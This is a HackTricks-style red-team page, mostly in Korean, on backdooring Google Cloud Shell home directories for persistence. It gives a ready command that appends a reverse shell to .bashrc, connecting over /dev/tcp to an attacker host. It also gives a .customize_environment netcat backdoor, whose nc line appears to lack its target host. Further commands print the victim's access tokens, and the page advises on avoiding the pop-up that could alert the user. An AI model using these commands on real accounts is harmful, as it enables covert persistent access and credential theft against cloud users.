GCP - Cloud Shell Persistence

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell은 브라우저에서 추가 비용 없이 클라우드 리소스에 대한 명령줄 접근을 제공합니다.

웹 콘솔에서 또는 **gcloud cloud-shell ssh**를 실행하여 Google Cloud Shell에 접근할 수 있습니다.

이 콘솔은 attackers에게 몇 가지 흥미로운 기능을 제공합니다:

  1. Google Cloud에 접근 권한이 있는 모든 Google 사용자는 완전히 인증된 Cloud Shell 인스턴스에 접근할 수 있습니다 (Service Accounts도 가능하며, 심지어 조직의 Owners인 경우에도 포함됩니다).
  2. 해당 인스턴스는 활동이 없을 경우 최소 120일 동안 홈 디렉토리를 유지합니다.
  3. 조직이 해당 인스턴스의 활동을 모니터링할 수단이 없습니다.

이것은 기본적으로 attacker가 사용자의 홈 디렉토리에 backdoor를 설치할 수 있음을 의미하며, 사용자가 적어도 120일마다 GC Shell에 접속하는 한 backdoor는 유지되고 attacker는 다음을 실행하여 매번 shell을 얻을 수 있습니다:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

홈 폴더에 **.customize_environment**라는 또 다른 파일이 있으며, 존재하는 경우 사용자가 cloud shell에 접근할 때마다 매번 실행됩니다 (이전 기법과 같이). 이전 backdoor를 삽입하거나 다음과 같은 것을 넣어 사용자가 “자주” cloud shell를 사용할 동안 persistence를 유지하세요:

.customize_environment backdoor 만들기 ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

중요한 점은 인증이 필요한 작업이 처음 수행될 때, 사용자 브라우저에 팝업 승인 창이 나타난다는 것입니다. 이 창은 명령이 실행되기 전에 수락되어야 합니다. 예기치 않은 팝업이 나타나면 의심을 유발하여 사용 중인 지속성 방법을 손상시킬 수 있습니다.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can 사용자의 토큰을 수집할 수 있습니다:

Cloud Shell에서 액세스 토큰 가져오기 ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

SSH 연결이 설정되는 방법

기본적으로 다음 세 가지 API 호출이 사용됩니다:

하지만 자세한 정보는 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 확인할 수 있습니다

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기